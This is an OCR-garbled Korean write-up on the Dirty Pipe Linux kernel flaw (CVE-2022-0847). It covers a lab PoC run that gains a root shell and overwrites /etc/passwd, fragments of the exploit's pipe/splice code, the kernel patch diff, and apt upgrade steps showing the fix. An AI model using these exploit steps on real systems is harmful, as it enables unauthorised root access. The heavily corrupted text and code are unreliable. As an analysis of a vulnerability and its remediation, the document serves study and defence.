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$ uname -a //0S HE

Linux kali 5.15.@8-kali3-amd64 #1 SMP Debian| 5.15.15-2kalil |(: 64 GNU/Linux

[Kali Linux #AY A AR]

Step 2. PoC HIZE

Dirty Pipe PoC % 3ty SUID 3o wlolygl & 3fo] A7) )
5% & d5S HoErh PoCAEE o github URLOIA 218t

= = M HE =

o # A A3HRoot ShelD=
13 4= it}

*URL : https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

[+]
[+]
[+] re

[+]
#
# whoami

root
# id
uid=0(roo
oJ,sb(plu

[SUID binary hijacking E3%" Root Shell &5 (exploit-2.c)]
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Step 3. &}71A&9d +3

Dirty Pipe & =3 #3dlo] gle ALE&x}7F 7| dg9d 4=A o] 753ttt PoC FE=(exploit-
1.o)E o]&shd ddl A&7 AA AR 3A(/etc/passwd)S Foroz A3k
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PoC A3 A root A AR= ofefie} 2ot

— |

/etc/passwd
root:x:@:@:root:/root:/usr/bin/zsh
daemon 1:1:1:daeman:ﬁu;: Jbln fusr/sbin/nologin

~/Desktop/CVE-2022-0847-DirtyPipe-Exploit-main
Fil Jpasswd
root: 11 ipl xDtUSWFVRgYSGBMUSX/:0:0:test:/root:/bin/sh
;Jbln bln nnLagln

[PoC 23 % ¥xd AA FE 73]
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(PIPE_BUF_FLAG_CAN_MERGE) (B2 07t £7|8ElX| 22 3. Bi& 2 Page Cacheli 3

[Dirty pipe A 4]

' Pipe: HE0A X[Hol= Z2MA 7F EHEY S 7S

2 "PIPE_BUF_FLAG_CAN_MERGE" Flags: 88 El &% CtE 022 Y1}t Hats = ALk
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Read | Load
. root:x:0:0:ro.... .
| t Merge |
[ root:$1%test$p... ] \ root:$'l$test$p.... E /etc/passwd
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Step 2. PoC #4]

1. 99 Tolx= A4 pipe()
sfatic void prepare_pipelint p[2]}

{
if|(pipeip))| aborti};

const unsianed pipe_size = fentl(p[1], F_GETPIPE_SZ):
static char buffer[409G];

[Fho]= ABA]

2. “PIPE_BUF_FLAG_CAN_MERGE” Z#1 ¢] 44A

for (unsianed r = pipe_size: r > 0;) 1
unsigned n = r > sizeoffbuffer) 7 sizeofibuffer) - r;
write(p[1], buffer, nj;:
r -=n:

t

Seodralin tha pipa Ffraaing gt prpa_buifar inctances (but
fagving tha flage fnftializad) «/
for {unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) 7 sizeoflbuffer) - r;
read(p[0], buffer, nl:
r-=n;

[ 431

3. Mlxe] 9 e

Splice SHFZ o] &35l A Fdo HolgHE o>z HE3t}. F%3F= Page Cache 9
=

offset & FA3ste] 7]& "ol 7} d&EE = do]g o &3] Yol 2olvE sl ¢

% “PIPE_BUF_FLAG_CAN_MERGE” Z# 1 %739 A

&2
rlo

-

= Fopsltt

-—offset:

ssize_t nbytes =|splice(fd, &offset, p[l], HULL, 1, 0);]

if inbytes < 0) 1
perrori"splice failed");
return EXIT_FAILURE:

i

if (nbytes ==0) {
fprintfistderr, “short splice#n”);
return EXIT_FAILURE:

(= 99 ¥
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gto] 25 &l Y == vlolE 2 i 7Y Page Cache 7} Hoj27] g et

nbwtes =|writeip[1], data, data_size):|
if (nbytes < 0) 4

perror(“write failed");

return EXIT_FAILURE;

t

if ({size_t)nbvtes < data_size) {
tprintfistderr, “short write#n”);
return EXIT_FAILLURE;

[FRA1 o8 94¥]
step 3. A H X

Dirty Pipe(CVE-2022-0847) HH2 FHAl g5 AdelA dx Huow, 54 Flags 7}
AAFEE A ot s 7|8 =7t F7FE AT

diff ——git a/libfiov_iter.c b/lib/iov_iter.c

index bOeCacdf96c!. . Bdd533017a93 100644

—= aflibfiov_iter.c

+++ b/l ibBSTov_iter.c

B -414,6 +414,7 @0 static size_t copyv_page_to_iter_pipelstruct page +page, size_t offset, size_t by
return O:

buf-»ops = &page_cache_pipe_buf_ops:
+ buf-=flags = 0O:
get_pagelpage);:
buf-rpage = page:
buf->offset = offset:
@@ -577, 6 +578,7 @0 static size_t push_pipe(struct iov_iter +i, size_t size.
break:

buf-zops = &default _pipe_buf_ops;:
+ buf-=flags = 0;
buf-»page = page;
buf->offset = 0;
buf-=len = min_t(ssize_t, left, PAGE_SIZE);

2.34.0
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$sudo apt update
gaA0|E Ztset W7 |X 55

=

ol

2!

$apt list —upgradable
2[2E Lf 2 AHER Ha0l=

$sudo apt install —only-upgrade [2X|2 7{ €]

Yd 2

712 X H 2ol

ga Sl g3 0l= Jhseh HE HHE =l
$sudo apt-cache search linux-image-5

2[2E W HER gag0|=

$sudo apt-get install [HX|& 7{E]

WS 516142 agol=

-[~ftest]

install linux-image-amd64

lists ... Done
Done
Done

Ll be upgraded:

Reading pa
Building de
Reading st
The follow
lin i
1 ed, @ to remove and 721 not upgraded.
hives.

n, @ B of additional disk space will be used
g nain amdé4 linux-image-amd64 amd64 5.16.14

ently

installed
ring to unpack 4. deb

ng lin i
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-[~/test]

5.16.08-kali6-amd64

A

/passwd to /tmp/passwd.bak
pa rd to "aaron” ...
unction call seems to have failed :(

/test]

usr/sbin/nologin
ologin
in/nologin
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« URL: https://dirtypipe.cm4all.com

« URL: https://www.makeuseof.com/what—-is—the—dirty—pipe—exploit—in-linux—and-fix—-it/

« URL: https://attackerkb.com/topics/UwW7SVPaPv/cve-2022-0847/rapid7-
analysis?referrer=blog

« URL: https://lore.kernel.org/lkml/20220221100313.1504449-1~-
max.kellermann@ionos.com/
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